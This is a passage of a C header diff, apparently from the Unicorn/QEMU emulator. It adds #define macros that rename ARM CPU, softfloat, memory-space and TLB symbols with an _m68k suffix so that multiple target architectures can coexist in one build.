a15_l2ctlr_read a15_l2ctlr_read_m68k +#define a64_translate_init a64_translate_init_m68k +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_m68k +#define aa64_cacheop_access aa64_cacheop_access_m68k +#define aa64_daif_access aa64_daif_access_m68k +#define aa64_daif_write aa64_daif_write_m68k +#define aa64_dczid_read aa64_dczid_read_m68k +#define aa64_fpcr_read aa64_fpcr_read_m68k +#define aa64_fpcr_write aa64_fpcr_write_m68k +#define aa64_fpsr_read aa64_fpsr_read_m68k +#define aa64_fpsr_write aa64_fpsr_write_m68k +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_m68k +#define aa64_zva_access aa64_zva_access_m68k +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_m68k +#define aarch64_restore_sp aarch64_restore_sp_m68k +#define aarch64_save_sp aarch64_save_sp_m68k +#define accel_find accel_find_m68k +#define accel_init_machine accel_init_machine_m68k +#define accel_type accel_type_m68k +#define access_with_adjusted_size access_with_adjusted_size_m68k +#define add128 add128_m68k +#define add16_sat add16_sat_m68k +#define add16_usat add16_usat_m68k +#define add192 add192_m68k +#define add8_sat add8_sat_m68k +#define add8_usat add8_usat_m68k +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_m68k +#define add_cpreg_to_list add_cpreg_to_list_m68k +#define addFloat128Sigs addFloat128Sigs_m68k +#define addFloat32Sigs addFloat32Sigs_m68k +#define addFloat64Sigs addFloat64Sigs_m68k +#define addFloatx80Sigs addFloatx80Sigs_m68k +#define add_qemu_ldst_label add_qemu_ldst_label_m68k +#define address_space_access_valid address_space_access_valid_m68k +#define address_space_destroy address_space_destroy_m68k +#define address_space_destroy_dispatch address_space_destroy_dispatch_m68k +#define address_space_get_flatview address_space_get_flatview_m68k +#define address_space_init address_space_init_m68k +#define address_space_init_dispatch address_space_init_dispatch_m68k +#define address_space_lookup_region address_space_lookup_region_m68k +#define address_space_map address_space_map_m68k +#define address_space_read address_space_read_m68k +#define address_space_rw address_space_rw_m68k +#define address_space_translate address_space_translate_m68k +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_m68k +#define address_space_translate_internal address_space_translate_internal_m68k +#define address_space_unmap address_space_unmap_m68k +#define address_space_update_topology address_space_update_topology_m68k +#define address_space_update_topology_pass address_space_update_topology_pass_m68k +#define address_space_write address_space_write_m68k +#define addrrange_contains addrrange_contains_m68k +#define addrrange_end addrrange_end_m68k +#define addrrange_equal addrrange_equal_m68k +#define addrrange_intersection addrrange_intersection_m68k +#define addrrange_intersects addrrange_intersects_m68k +#define addrrange_make addrrange_make_m68k +#define adjust_endianness adjust_endianness_m68k +#define all_helpers all_helpers_m68k +#define alloc_code_gen_buffer alloc_code_gen_buffer_m68k +#define alloc_entry alloc_entry_m68k +#define always_true always_true_m68k +#define arm1026_initfn arm1026_initfn_m68k +#define arm1136_initfn arm1136_initfn_m68k +#define arm1136_r2_initfn arm1136_r2_initfn_m68k +#define arm1176_initfn arm1176_initfn_m68k +#define arm11mpcore_initfn arm11mpcore_initfn_m68k +#define arm926_initfn arm926_initfn_m68k +#define arm946_initfn arm946_initfn_m68k +#define arm_ccnt_enabled arm_ccnt_enabled_m68k +#define arm_cp_read_zero arm_cp_read_zero_m68k +#define arm_cp_reset_ignore arm_cp_reset_ignore_m68k +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_m68k +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_m68k +#define arm_cpu_finalizefn arm_cpu_finalizefn_m68k +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_m68k +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_m68k +#define arm_cpu_initfn arm_cpu_initfn_m68k +#define arm_cpu_list arm_cpu_list_m68k +#define cpu_loop_exit cpu_loop_exit_m68k +#define arm_cpu_post_init arm_cpu_post_init_m68k +#define arm_cpu_realizefn arm_cpu_realizefn_m68k +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_m68k +#define arm_cpu_register_types arm_cpu_register_types_m68k +#define cpu_resume_from_signal cpu_resume_from_signal_m68k +#define arm_cpus arm_cpus_m68k +#define arm_cpu_set_pc arm_cpu_set_pc_m68k +#define arm_cp_write_ignore arm_cp_write_ignore_m68k +#define arm_current_el arm_current_el_m68k +#define arm_dc_feature arm_dc_feature_m68k +#define arm_debug_excp_handler arm_debug_excp_handler_m68k +#define arm_debug_target_el arm_debug_target_el_m68k +#define arm_el_is_aa64 arm_el_is_aa64_m68k +#define arm_env_get_cpu arm_env_get_cpu_m68k +#define arm_excp_target_el arm_excp_target_el_m68k +#define arm_excp_unmasked arm_excp_unmasked_m68k +#define arm_feature arm_feature_m68k +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_m68k +#define gen_intermediate_code gen_intermediate_code_m68k +#define gen_intermediate_code_pc gen_intermediate_code_pc_m68k +#define arm_gen_test_cc arm_gen_test_cc_m68k +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_m68k +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_m68k +#define arm_handle_psci_call arm_handle_psci_call_m68k +#define arm_is_psci_call arm_is_psci_call_m68k +#define arm_is_secure arm_is_secure_m68k +#define arm_is_secure_below_el3 arm_is_secure_below_el3_m68k +#define arm_ldl_code arm_ldl_code_m68k +#define arm_lduw_code arm_lduw_code_m68k +#define arm_log_exception arm_log_exception_m68k +#define arm_reg_read arm_reg_read_m68k +#define arm_reg_reset arm_reg_reset_m68k +#define arm_reg_write arm_reg_write_m68k +#define restore_state_to_opc restore_state_to_opc_m68k +#define arm_rmode_to_sf arm_rmode_to_sf_m68k +#define arm_singlestep_active arm_singlestep_active_m68k +#define tlb_fill tlb_fill_m68k +#define tlb_flush tlb_flush_m68k +#define tlb_flush_page tlb_flush_page_m68k +#define tlb_set_page tlb_set_page_m68k +#define arm_translate_init arm_translate_init_m68k +#define arm_v7m_class_init arm_v7m_class_init_m68k +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_m68k +#define ats_access ats_access_m68k +#define ats_write ats_write_m68k +#define bad_mode_switch bad_mode_switch_m68k +#define bank_number bank_number_m68k +#define bitmap_zero_extend bitmap_zero_extend_m68k +#define bp_wp_matches bp_wp_matches_m68k +#define breakpoint_invalidate breakpoint_invalidate_m68k +#define build_page_bitmap build_page_bitmap_m68k +#define bus_add_child bus_add_child_m68k +#define bus_class_init bus_class_init_m68k +#define bus_info bus_info_m68k +#define bus_unparent bus_unparent_m68k +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_m68k +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_m68k +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_m68k +#define call_recip_estimate call_recip_estimate_m68k +#define can_merge can_merge_m68k +#define capacity_increase capacity_increase_m68k +#define ccsidr_read ccsidr_read_m68k +#define check_ap check_ap_m68k +#define check_breakpoints check_breakpoints_m68k +#define check_watchpoints check_watchpoints_m68k +#define cho cho_m68k +#define clear_bit clear_bit_m68k +#define clz32 clz32_m68k +#define clz64 clz64_m68k +#define cmp_flatrange_addr cmp_flatrange_addr_m68k +#define code_gen_alloc code_gen_alloc_m68k +#define commonNaNToFloat128 commonNaNToFloat128_m68k +#define commonNaNToFloat16 commonNaNToFloat16_m68k +#define commonNaNToFloat32 commonNaNToFloat32_m68k +#define commonNaNToFloat64 commonNaNToFloat64_m68k +#define commonNaNToFloatx80 commonNaNToFloatx80_m68k +#define compute_abs_deadline compute_abs_deadline_m68k +#define cond_name cond_name_m68k +#define configure_accelerator configure_accelerator_m68k +#define container_get container_get_m68k +#define container_info container_info_m68k +#define container_register_types container_register_types_m68k +#define contextidr_write contextidr_write_m68k +#define core_log_global_start core_log_global_start_m68k +#define core_log_global_stop core_log_global_stop_m68k +#define core_memory_listener core_memory_listener_m68k +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_m68k +#define cortex_a15_initfn cortex_a15_initfn_m68k +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_m68k +#define cortex_a8_initfn cortex_a8_initfn_m68k +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_m68k +#define cortex_a9_initfn cortex_a9_initfn_m68k +#define cortex_m3_initfn cortex_m3_initfn_m68k +#define count_cpreg count_cpreg_m68k +#define countLeadingZeros32 countLeadingZeros32_m68k +#define countLeadingZeros64 countLeadingZeros64_m68k +#define cp_access_ok cp_access_ok_m68k +#define cpacr_write cpacr_write_m68k +#define cpreg_field_is_64bit cpreg_field_is_64bit_m68k +#define cp_reginfo cp_reginfo_m68k +#define cpreg_key_compare cpreg_key_compare_m68k +#define cpreg_make_keylist cpreg_make_keylist_m68k +#define cp_reg_reset cp_reg_reset_m68k +#define cpreg_to_kvm_id cpreg_to_kvm_id_m68k +#define cpsr_read cpsr_read_m68k +#define cpsr_write cpsr_write_m68k +#define cptype_valid cptype_valid_m68k +#define cpu_abort cpu_abort_m68k +#define cpu_arm_exec cpu_arm_exec_m68k +#define cpu_arm_gen_code cpu_arm_gen_code_m68k +#define cpu_arm_init cpu_arm_init_m68k +#define cpu_breakpoint_insert cpu_breakpoint_insert_m68k +#define cpu_breakpoint_remove cpu_breakpoint_remove_m68k +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_m68k +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_m68k +#define cpu_can_do_io cpu_can_do_io_m68k +#define cpu_can_run cpu_can_run_m68k +#define cpu_class_init cpu_class_init_m68k +#define cpu_common_class_by_name cpu_common_class_by_name_m68k +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_m68k +#define cpu_common_get_arch_id cpu_common_get_arch_id_m68k +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_m68k +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_m68k +#define cpu_common_has_work cpu_common_has_work_m68k +#define cpu_common_initfn cpu_common_initfn_m68k +#define cpu_common_noop cpu_common_noop_m68k +#define cpu_common_parse_features cpu_common_parse_features_m68k +#define cpu_common_realizefn cpu_common_realizefn_m68k +#define cpu_common_reset cpu_common_reset_m68k +#define cpu_dump_statistics cpu_dump_statistics_m68k +#define cpu_exec_init cpu_exec_init_m68k +#define cpu_flush_icache_range cpu_flush_icache_range_m68k +#define cpu_gen_init cpu_gen_init_m68k +#define cpu_get_clock cpu_get_clock_m68k +#define cpu_get_real_ticks cpu_get_real_ticks_m68k +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_m68k +#define cpu_handle_debug_exception cpu_handle_debug_exception_m68k +#define cpu_handle_guest_debug cpu_handle_guest_debug_m68k +#define cpu_inb cpu_inb_m68k +#define cpu_inl cpu_inl_m68k +#define cpu_interrupt cpu_interrupt_m68k +#define cpu_interrupt_handler cpu_interrupt_handler_m68k +#define cpu_inw cpu_inw_m68k +#define cpu_io_recompile cpu_io_recompile_m68k +#define cpu_is_stopped cpu_is_stopped_m68k +#define cpu_ldl_code cpu_ldl_code_m68k +#define cpu_ldub_code cpu_ldub_code_m68k +#define cpu_lduw_code cpu_lduw_code_m68k +#define cpu_memory_rw_debug cpu_memory_rw_debug_m68k +#define cpu_mmu_index cpu_mmu_index_m68k +#define cpu_outb cpu_outb_m68k +#define cpu_outl cpu_outl_m68k +#define cpu_outw cpu_outw_m68k +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_m68k +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_m68k +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_m68k +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_m68k +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_m68k +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_m68k +#define cpu_physical_memory_map cpu_physical_memory_map_m68k +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_m68k +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_m68k +#define cpu_physical_memory_rw cpu_physical_memory_rw_m68k +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_m68k +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_m68k +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_m68k +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_m68k +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_m68k +#define cpu_register cpu_register_m68k +#define cpu_register_types cpu_register_types_m68k +#define cpu_restore_state cpu_restore_state_m68k +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_m68k +#define cpu_single_step cpu_single_step_m68k +#define cpu_tb_exec cpu_tb_exec_m68k +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_m68k +#define cpu_to_be64 cpu_to_be64_m68k +#define cpu_to_le32 cpu_to_le32_m68k +#define cpu_to_le64 cpu_to_le64_m68k +#define cpu_type_info cpu_type_info_m68k +#define cpu_unassigned_access cpu_unassigned_access_m68k +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_m68k +#define cpu_watchpoint_insert cpu_watchpoint_insert_m68k +#define cpu_watchpoint_remove cpu_watchpoint_remove_m68k +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_m68k +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_m68k +#define crc32c_table crc32c_table_m68k +#define create_new_memory_mapping create_new_memory_mapping_m68k +#define csselr_write csselr_write_m68k +#define cto32 cto32_m68k +#define ctr_el0_access ctr_el0_access_m68k +#define ctz32 ctz32_m68k +#define ctz64 ctz64_m68k +#define dacr_write dacr_write_m68k +#define dbgbcr_write dbgbcr_write_m68k +#define dbgbvr_write dbgbvr_write_m68k +#define dbgwcr_write dbgwcr_write_m68k +#define dbgwvr_write dbgwvr_write_m68k +#define debug_cp_reginfo debug_cp_reginfo_m68k +#define debug_frame debug_frame_m68k +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_m68k +#define define_arm_cp_regs define_arm_cp_regs_m68k +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_m68k +#define define_debug_regs define_debug_regs_m68k +#define define_one_arm_cp_reg define_one_arm_cp_reg_m68k +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_m68k +#define deposit32 deposit32_m68k +#define deposit64 deposit64_m68k +#define deregister_tm_clones deregister_tm_clones_m68k +#define device_class_base_init device_class_base_init_m68k +#define device_class_init device_class_init_m68k +#define device_finalize device_finalize_m68k +#define device_get_realized device_get_realized_m68k +#define device_initfn device_initfn_m68k +#define device_post_init device_post_init_m68k +#define device_reset device_reset_m68k +#define device_set_realized device_set_realized_m68k +#define device_type_info device_type_info_m68k +#define disas_arm_insn disas_arm_insn_m68k +#define disas_coproc_insn disas_coproc_insn_m68k +#define disas_dsp_insn disas_dsp_insn_m68k +#define disas_iwmmxt_insn disas_iwmmxt_insn_m68k +#define disas_neon_data_insn disas_neon_data_insn_m68k +#define disas_neon_ls_insn disas_neon_ls_insn_m68k +#define disas_thumb2_insn disas_thumb2_insn_m68k +#define disas_thumb_insn disas_thumb_insn_m68k +#define disas_vfp_insn disas_vfp_insn_m68k +#define disas_vfp_v8_insn disas_vfp_v8_insn_m68k +#define do_arm_semihosting do_arm_semihosting_m68k +#define do_clz16 do_clz16_m68k +#define do_clz8 do_clz8_m68k +#define do_constant_folding do_constant_folding_m68k +#define do_constant_folding_2 do_constant_folding_2_m68k +#define do_constant_folding_cond do_constant_folding_cond_m68k +#define do_constant_folding_cond2 do_constant_folding_cond2_m68k +#define do_constant_folding_cond_32 do_constant_folding_cond_32_m68k +#define do_constant_folding_cond_64 do_constant_folding_cond_64_m68k +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_m68k +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_m68k +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_m68k +#define do_ssat do_ssat_m68k +#define do_usad do_usad_m68k +#define do_usat do_usat_m68k +#define do_v7m_exception_exit do_v7m_exception_exit_m68k +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_m68k +#define dummy_func dummy_func_m68k +#define dummy_section dummy_section_m68k +#define _DYNAMIC _DYNAMIC_m68k +#define _edata _edata_m68k +#define _end _end_m68k +#define end_list end_list_m68k +#define eq128 eq128_m68k +#define ErrorClass_lookup ErrorClass_lookup_m68k +#define error_copy error_copy_m68k +#define error_exit error_exit_m68k +#define error_get_class error_get_class_m68k +#define error_get_pretty error_get_pretty_m68k +#define error_setg_file_open error_setg_file_open_m68k +#define estimateDiv128To64 estimateDiv128To64_m68k +#define estimateSqrt32 estimateSqrt32_m68k +#define excnames excnames_m68k +#define excp_is_internal excp_is_internal_m68k +#define extended_addresses_enabled extended_addresses_enabled_m68k +#define extended_mpu_ap_bits extended_mpu_ap_bits_m68k +#define extract32 extract32_m68k +#define extract64 extract64_m68k +#define extractFloat128Exp extractFloat128Exp_m68k +#define extractFloat128Frac0 extractFloat128Frac0_m68k +#define extractFloat128Frac1 extractFloat128Frac1_m68k +#define extractFloat128Sign extractFloat128Sign_m68k +#define extractFloat16Exp extractFloat16Exp_m68k +#define extractFloat16Frac extractFloat16Frac_m68k +#define extractFloat16Sign extractFloat16Sign_m68k +#define extractFloat32Exp extractFloat32Exp_m68k +#define extractFloat32Frac extractFloat32Frac_m68k +#define extractFloat32Sign extractFloat32Sign_m68k +#define extractFloat64Exp extractFloat64Exp_m68k +#define extractFloat64Frac extractFloat64Frac_m68k +#define extractFloat64Sign extractFloat64Sign_m68k +#define extractFloatx80Exp extractFloatx80Exp_m68k +#define extractFloatx80Frac extractFloatx80Frac_m68k +#define extractFloatx80Sign extractFloatx80Sign_m68k +#define fcse_write fcse_write_m68k +#define find_better_copy find_better_copy_m68k +#define find_default_machine find_default_machine_m68k +#define find_desc_by_name find_desc_by_name_m68k +#define find_first_bit find_first_bit_m68k +#define find_paging_enabled_cpu find_paging_enabled_cpu_m68k +#define find_ram_block find_ram_block_m68k +#define find_ram_offset find_ram_offset_m68k +#define find_string find_string_m68k +#define find_type find_type_m68k +#define _fini _fini_m68k +#define flatrange_equal flatrange_equal_m68k +#define flatview_destroy flatview_destroy_m68k +#define flatview_init flatview_init_m68k +#define flatview_insert flatview_insert_m68k +#define flatview_lookup flatview_lookup_m68k +#define flatview_ref flatview_ref_m68k +#define flatview_simplify flatview_simplify_m68k +#define flatview_unref flatview_unref_m68k +#define float128_add float128_add_m68k +#define float128_compare float128_compare_m68k +#define float128_compare_internal float128_compare_internal_m68k +#define float128_compare_quiet float128_compare_quiet_m68k +#define float128_default_nan float128_default_nan_m68k +#define float128_div float128_div_m68k +#define float128_eq float128_eq_m68k +#define float128_eq_quiet float128_eq_quiet_m68k +#define float128_is_quiet_nan float128_is_quiet_nan_m68k +#define float128_is_signaling_nan float128_is_signaling_nan_m68k +#define float128_le float128_le_m68k +#define float128_le_quiet float128_le_quiet_m68k +#define float128_lt float128_lt_m68k +#define float128_lt_quiet float128_lt_quiet_m68k +#define float128_maybe_silence_nan float128_maybe_silence_nan_m68k +#define float128_mul float128_mul_m68k +#define float128_rem float128_rem_m68k +#define float128_round_to_int float128_round_to_int_m68k +#define float128_scalbn float128_scalbn_m68k +#define float128_sqrt float128_sqrt_m68k +#define float128_sub float128_sub_m68k +#define float128ToCommonNaN float128ToCommonNaN_m68k +#define float128_to_float32 float128_to_float32_m68k +#define float128_to_float64 float128_to_float64_m68k +#define float128_to_floatx80 float128_to_floatx80_m68k +#define float128_to_int32 float128_to_int32_m68k +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_m68k +#define float128_to_int64 float128_to_int64_m68k +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_m68k +#define float128_unordered float128_unordered_m68k +#define float128_unordered_quiet float128_unordered_quiet_m68k +#define float16_default_nan float16_default_nan_m68k +#define float16_is_quiet_nan float16_is_quiet_nan_m68k +#define float16_is_signaling_nan float16_is_signaling_nan_m68k +#define float16_maybe_silence_nan float16_maybe_silence_nan_m68k +#define float16ToCommonNaN float16ToCommonNaN_m68k +#define float16_to_float32 float16_to_float32_m68k +#define float16_to_float64 float16_to_float64_m68k +#define float32_abs float32_abs_m68k +#define float32_add float32_add_m68k +#define float32_chs float32_chs_m68k +#define float32_compare float32_compare_m68k +#define float32_compare_internal float32_compare_internal_m68k +#define float32_compare_quiet float32_compare_quiet_m68k +#define float32_default_nan float32_default_nan_m68k +#define float32_div float32_div_m68k +#define float32_eq float32_eq_m68k +#define float32_eq_quiet float32_eq_quiet_m68k +#define float32_exp2 float32_exp2_m68k +#define float32_exp2_coefficients float32_exp2_coefficients_m68k +#define float32_is_any_nan float32_is_any_nan_m68k +#define float32_is_infinity float32_is_infinity_m68k +#define float32_is_neg float32_is_neg_m68k +#define float32_is_quiet_nan float32_is_quiet_nan_m68k +#define float32_is_signaling_nan float32_is_signaling_nan_m68k +#define float32_is_zero float32_is_zero_m68k +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_m68k +#define float32_le float32_le_m68k +#define float32_le_quiet float32_le_quiet_m68k +#define float32_log2 float32_log2_m68k +#define float32_lt float32_lt_m68k +#define float32_lt_quiet float32_lt_quiet_m68k +#define float32_max float32_max_m68k +#define float32_maxnum float32_maxnum_m68k +#define float32_maxnummag float32_maxnummag_m68k +#define float32_maybe_silence_nan float32_maybe_silence_nan_m68k +#define float32_min float32_min_m68k +#define float32_minmax float32_minmax_m68k +#define float32_minnum float32_minnum_m68k +#define float32_minnummag float32_minnummag_m68k +#define float32_mul float32_mul_m68k +#define float32_muladd float32_muladd_m68k +#define float32_rem float32_rem_m68k +#define float32_round_to_int float32_round_to_int_m68k +#define float32_scalbn float32_scalbn_m68k +#define float32_set_sign float32_set_sign_m68k +#define float32_sqrt float32_sqrt_m68k +#define float32_squash_input_denormal float32_squash_input_denormal_m68k +#define float32_sub float32_sub_m68k +#define float32ToCommonNaN float32ToCommonNaN_m68k +#define float32_to_float128 float32_to_float128_m68k +#define float32_to_float16 float32_to_float16_m68k +#define float32_to_float64 float32_to_float64_m68k +#define float32_to_floatx80 float32_to_floatx80_m68k +#define float32_to_int16 float32_to_int16_m68k +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_m68k +#define float32_to_int32 float32_to_int32_m68k +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_m68k +#define float32_to_int64 float32_to_int64_m68k +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_m68k +#define float32_to_uint16 float32_to_uint16_m68k +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_m68k +#define float32_to_uint32 float32_to_uint32_m68k +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_m68k +#define float32_to_uint64 float32_to_uint64_m68k +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_m68k +#define float32_unordered float32_unordered_m68k +#define float32_unordered_quiet float32_unordered_quiet_m68k +#define float64_abs float64_abs_m68k +#define float64_add float64_add_m68k +#define float64_chs float64_chs_m68k +#define float64_compare float64_compare_m68k +#define float64_compare_internal float64_compare_internal_m68k +#define float64_compare_quiet float64_compare_quiet_m68k +#define float64_default_nan float64_default_nan_m68k +#define float64_div float64_div_m68k +#define float64_eq float64_eq_m68k +#define float64_eq_quiet float64_eq_quiet_m68k +#define float64_is_any_nan float64_is_any_nan_m68k +#define float64_is_infinity float64_is_infinity_m68k +#define float64_is_neg float64_is_neg_m68k +#define float64_is_quiet_nan float64_is_quiet_nan_m68k +#define float64_is_signaling_nan float64_is_signaling_nan_m68k +#define float64_is_zero float64_is_zero_m68k +#define float64_le float64_le_m68k +#define float64_le_quiet float64_le_quiet_m68k +#define float64_log2 float64_log2_m68k +#define float64_lt float64_lt_m68k +#define float64_lt_quiet float64_lt_quiet_m68k +#define float64_max float64_max_m68k +#define float64_maxnum float64_maxnum_m68k +#define float64_maxnummag float64_maxnummag_m68k +#define float64_maybe_silence_nan float64_maybe_silence_nan_m68k +#define float64_min float64_min_m68k +#define float64_minmax float64_minmax_m68k +#define float64_minnum float64_minnum_m68k +#define float64_minnummag float64_minnummag_m68k +#define float64_mul float64_mul_m68k +#define float64_muladd float64_muladd_m68k +#define float64_rem float64_rem_m68k +#define float64_round_to_int float64_round_to_int_m68k +#define float64_scalbn float64_scalbn_m68k +#define float64_set_sign float64_set_sign_m68k +#define float64_sqrt float64_sqrt_m68k +#define float64_squash_input_denormal float64_squash_input_denormal_m68k +#define float64_sub float64_sub_m68k +#define float64ToCommonNaN float64ToCommonNaN_m68k +#define float64_to_float128 float64_to_float128_m68k +#define float64_to_float16 float64_to_float16_m68k +#define float64_to_float32 float64_to_float32_m68k +#define float64_to_floatx80 float64_to_floatx80_m68k +#define float64_to_int16 float64_to_int16_m68k +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_m68k +#define float64_to_int32 float64_to_int32_m68k +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_m68k +#define float64_to_int64 float64_to_int64_m68k +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_m68k +#define float64_to_uint16 float64_to_uint16_m68k +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_m68k +#define float64_to_uint32 float64_to_uint32_m68k +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_m68k +#define float64_to_uint64 float64_to_uint64_m68k +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_m68k +#define float64_trunc_to_int float64_trunc_to_int_m68k +#define float64_unordered float64_unordered_m68k +#define float64_unordered_quiet float64_unordered_quiet_m68k +#define float_raise float_raise_m68k +#define floatx80_add floatx80_add_m68k +#define floatx80_compare floatx80_compare_m68k +#define floatx80_compare_internal floatx80_compare_internal_m68k +#define floatx80_compare_quiet floatx80_compare_quiet_m68k +#define floatx80_default_nan floatx80_default_nan_m68k +#define floatx80_div floatx80_div_m68k +#define floatx80_eq floatx80_eq_m68k +#define floatx80_eq_quiet floatx80_eq_quiet_m68k +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_m68k +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_m68k +#define floatx80_le floatx80_le_m68k +#define floatx80_le_quiet floatx80_le_quiet_m68k +#define floatx80_lt floatx80_lt_m68k +#define floatx80_lt_quiet floatx80_lt_quiet_m68k +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_m68k +#define floatx80_mul floatx80_mul_m68k +#define floatx80_rem floatx80_rem_m68k +#define floatx80_round_to_int floatx80_round_to_int_m68k +#define floatx80_scalbn floatx80_scalbn_m68k +#define floatx80_sqrt floatx80_sqrt_m68k +#define floatx80_sub floatx80_sub_m68k +#define floatx80ToCommonNaN floatx80ToCommonNaN_m68k +#define floatx80_to_float128 floatx80_to_float128_m68k +#define floatx80_to_float32 floatx80_to_float32_m68k +#define floatx80_to_float64 floatx80_to_float64_m68k +#define floatx80_to_int32 floatx80_to_int32_m68k +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_m68k +#define floatx80_to_int64 floatx80_to_int64_m68k +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_m68k +#define floatx80_unordered floatx80_unordered_m68k +#define floatx80_unordered_quiet floatx80_unordered_quiet_m68k +#define flush_icache_range flush_icache_range_m68k +#define format_string format_string_m68k +#define fp_decode_rm fp_decode_rm_m68k +#define frame_dummy frame_dummy_m68k +#define free_range free_range_m68k +#define fstat64 fstat64_m68k +#define futex_wait futex_wait_m68k +#define futex_wake futex_wake_m68k +#define gen_aa32_ld16s gen_aa32_ld16s_m68k +#define gen_aa32_ld16u gen_aa32_ld16u_m68k +#define gen_aa32_ld32u gen_aa32_ld32u_m68k +#define gen_aa32_ld64 gen_aa32_ld64_m68k +#define gen_aa32_ld8s gen_aa32_ld8s_m68k +#define gen_aa32_ld8u gen_aa32_ld8u_m68k +#define gen_aa32_st16 gen_aa32_st16_m68k +#define gen_aa32_st32 gen_aa32_st32_m68k +#define gen_aa32_st64 gen_aa32_st64_m68k +#define gen_aa32_st8 gen_aa32_st8_m68k +#define gen_adc gen_adc_m68k +#define gen_adc_CC gen_adc_CC_m68k +#define gen_add16 gen_add16_m68k +#define gen_add_carry gen_add_carry_m68k +#define gen_add_CC gen_add_CC_m68k +#define gen_add_datah_offset gen_add_datah_offset_m68k +#define gen_add_data_offset gen_add_data_offset_m68k +#define gen_addq gen_addq_m68k +#define gen_addq_lo gen_addq_lo_m68k +#define gen_addq_msw gen_addq_msw_m68k +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_m68k +#define gen_arm_shift_im gen_arm_shift_im_m68k +#define gen_arm_shift_reg gen_arm_shift_reg_m68k +#define gen_bx gen_bx_m68k +#define gen_bx_im gen_bx_im_m68k +#define gen_clrex gen_clrex_m68k +#define generate_memory_topology generate_memory_topology_m68k +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_m68k +#define gen_exception gen_exception_m68k +#define gen_exception_insn gen_exception_insn_m68k +#define gen_exception_internal gen_exception_internal_m68k +#define gen_exception_internal_insn gen_exception_internal_insn_m68k +#define gen_exception_return gen_exception_return_m68k +#define gen_goto_tb gen_goto_tb_m68k +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_m68k +#define gen_helper_add_saturate gen_helper_add_saturate_m68k +#define gen_helper_add_setq gen_helper_add_setq_m68k +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_m68k +#define gen_helper_clz32 gen_helper_clz32_m68k +#define gen_helper_clz64 gen_helper_clz64_m68k +#define gen_helper_clz_arm gen_helper_clz_arm_m68k +#define gen_helper_cpsr_read gen_helper_cpsr_read_m68k +#define gen_helper_cpsr_write 